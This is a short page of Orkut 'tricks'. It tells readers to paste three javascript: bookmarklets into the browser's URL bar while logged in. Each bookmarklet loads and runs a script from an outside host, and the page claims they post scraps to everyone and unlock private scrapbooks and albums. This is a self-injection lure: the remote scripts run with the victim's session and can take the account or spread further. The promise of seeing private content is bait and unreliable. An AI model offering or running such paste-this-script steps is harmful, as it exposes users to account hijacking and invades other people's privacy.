Scrap All
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://metal.god05.googlepages.com/photo.js';void(0)

Unlock Any Scrapbook
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/scrapbook.js';void(0)
Hit enter.
It unlocks all scrapbooks automatically.

Unlock Any Album
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/album.js';void(0)
Hit enter.
It unlocks all albums automatically.